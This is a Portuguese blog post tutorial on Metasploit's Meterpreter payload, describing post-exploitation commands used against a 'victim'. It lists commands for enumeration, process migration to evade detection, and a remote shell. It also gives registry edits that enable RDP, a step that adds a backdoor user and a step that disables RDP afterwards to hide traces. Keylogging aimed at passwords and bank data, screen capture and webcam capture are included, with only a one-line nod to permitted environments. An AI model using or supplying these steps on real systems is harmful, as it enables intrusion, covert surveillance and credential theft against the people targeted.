Explorando recursos de ataque do Meterpreter Cnx CH 18 de março de 201618 de março de 2016 2 Comentários Adentrando ao mundo do Metasploit, o payload Meterpreter (Meta-intérprete) está disponível para a utilização de seus recursos. Com a finalidade de fornecer diversas funcionalidades que seriam complicadas e/ou entediantes para implementação manual, seu funcionamento permite que os atacantes escrevam suas próprias extensões em forma de arquivos de objetos compartilhados (DLL), que podem ser injetados e carregados em um processo em execução no computador de destino do atacante após a exploração. Caso hajam dúvidas sobre realizar invasões para utilizar o meterpreter e suas funções, clique aqui. O Meterpreter e todas suas extensões executadas são feitas inteiramente na memória do computador e não afetam de maneira nenhuma o Disco, em outras palavras, é indetectável à varreduras de anti-vírus. EXPLORANDO AS OPÇÕES DO METERPRETER Para a exibição das funções após a invasão, e, para termos uma noção melhor sobre o que temos para utilizar de acordo com cada necessidade, iremos utilizar o comando help, que irá nos detalhar resumidamente o que temos. # meterpreter > help
EXPLORANDO OS COMANDOS METERPRETER Após manter conexão com a vítima, alguns dos diversos comandos são essenciais e úteis para conseguir informações sobre o alvo. A seguir, alguns comandos deste payload. COMANDOS DE REDE Comando arp # meterpreter > arp O commando arp lista o cache de pacotes ARP do host Comando getproxy # meterpreter > getproxy Com o comando getproxy, caso a vítima esteja conectada a um servidor Proxy, o comando listará alguns dados sobre tal servidor, incluindo um bypass.
Comandos ifconfig/ipconfig # meterpreter > ifconfig # meterpreter > ipconfig Assim como nos padrões Linux e Windows, os comandos ifconfig e ipconfig, respectivamente, irão listar as interfaces de rede presentes no computador da vítima. Comando netstat # meterpreter > netstat O comando netstat listará as conexões atuais do computador da vítima, listados em uma tabela que define o protocolo da conexão, os endereços de Ip local e remoto, o status da conexão no momento, o Inode (Estrutura responsável por conter informações básicas sobre seus arquivos e pastas, como permissões de acesso, identificação dos donos dos arquivos, data e hora do último acesso e alterações, tamanho, etc), seguido do pid (process id) e do nome de tal processo.
Comando portfwd ( port fowarding ) # meterpreter > portfwd O comando portfwd listará as portas abertas na rede da vítima caso hajam. COMANDOS DO SISTEMA Comando sysinfo # meterpreter > sysinfo O comando sysinfo, quando executado, exibe informações sobre o sistema que está sofrendo o ataque, como Sistema Operacional atual, arquitetura, nome registrado e idioma do computador. Comando migrate #meterpreter > migrate O comando migrate é usado para dificultar a detecção da invasão. Logo após a invasão, é aconselhável que o comando migrate seja executado. Este comando faz a migração do processo nativo do meterpreter para, por exemplo, o Explorer. Tornando mais difícil a detecção. O comando deve ser executado seguido da id do processo no qual se deseja migrar.
Comando execute #meterpreter > execute O comando execute realiza a execução de um comando no computador da vítima, como por exemplo o cmd : #meterpreter > execute f cmd Comando ps #meterpreter > ps Com o comando ps, nós conseguimos filtrar todos os processos em execução no computador da vítima, como identificação por id, pid, nome, arquitetura (x86 ou x64), número de sessão, usuário a executar tal processo e a pasta onde o mesmo se encontra. Comando kill #meterpreter > kill 1088 Com o comando kill, nós conseguimos finalizar um processo no computador da vítima a partir do pid do mesmo. Pid este que pode ser consultado com o comando ps, citado acima.
Comando shell #meterpreter > shell O comando shell faz com que o atacante possua o controle do shell, ou, como conhecido, o CMD, podendo executar mudanças diretamente do computador da vítima. Comando reg #meterpreter > reg Com o comando reg, nós podemos realizar modificações no registro da vítima. Possuindo o comando reg suas variações, que podem ser exploradas com um reg h, para acessar o menu de ajuda. O comando reg possui imensas possibilidades para quem sabe manusear o registro do Windows, uma destas possibilidades que é de imensa utilidade é a habilitação do RDP (Remote Desktop Protocol), que pode ser explorado, por exemplo, com o bruteforce, que é exemplificado em um vídeo no canal, que pode ser acessado aqui.. Para ativação do RDP, deve-se executar o seguinte comando: # meterpreter > "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fdenytsconnections /t REG_DWORD /d 0 /f Caso queiramos habilitar a assistência remota, execute o seguinte comando: # meterpreter >reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fallowtogethelp /t REG_DWORD /d 1 /f Caso queira adicionar um usuário local, execute o comando: #meterpreter > net user NOME_DO_USUARIO_DESEJADO SENHA / add E pronto, com usuário local e conexão RDP, nós podemos nos conectar com a vítima fora do payload. Caso quiser desabilitar o RDP, o que pode ajudar a não deixar rastros, execute o seguinte comando: # meterpreter > reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fdenytsconnections /t REG_DWORD /d 1 /f USER INTERFACE COMANDS Comando uictl # meterpreter > uictl O comando uictl serve basicamente para ativar e/ou desativar o keyboard (teclado) e o mouse da vítima, como vemos no exemplo a seguir.
Comando screenshot # meterpreter > uictl O comando screenshot serve para realizar uma captura de tela do computador da vítima. No exato momento em que o comando for executado, esta imagem será salva no computador do atacante para visualização independente de conexão no payload. Comando keyscan # meterpreter > keyscan start # meterpreter > keyscan dump # meterpreter > keyscan stop O comando keyscan start inicia uma captura do keyboard na máquina da vítima, que será prolongado até que o atacante execute o comando keyscan stop. Para a visualização do que foi escrito no keyboard da vítima, o comando keyscan dump deve ser executado. O keyscan pode ser utilizado com diversos fins, como por exemplo, realizando um keylogger possibilitando a captura desde senhas de emails à dados de contas bancárias. WEBCAM COMANDS Comando webcam_list # meterpreter > webcam_list O comando webcam_list realiza a função de listar todas as webcams presentes no computador da vítima, caso haja. Comando webcam_snap # meterpreter > webcam_snap O comando webcam_snap realiza a captura de imagem a partir da webcam da vítima e envia a imagem salva para o computador do atacante, permitindo o mesmo visualizá-la independente de conexão com o a vítima. Comandos reboot / shutdown # meterpreter > shutdown # meterpreter > reboot Os commandos reboot e shutdown realizam a finalização do sistema, porém, o reboot cumpre a função de reiniciar o sistema quando o shutdown finaliza por completo, desligando o computador da vítima.
Comando background # meterpreter > background O comando background finaliza a sessão no meterpreter, quebrando a conexão entre o atacante e a vítima, normalmente utilizado após o fim do possível ataque. Finalizando nossa análise de algumas das opções do meterpreter, concluímos que o payload cumpre funções satisfatórias para um atacante, abrangendo um enorme espaço de necessidades que tornam um ataque completo. Um atacante deve ter em mente as opções que deseja utilizar, informado sobre o que cada qual cumpre, e sempre consciente de realizar o ataque em ambiente controlado ou permitido.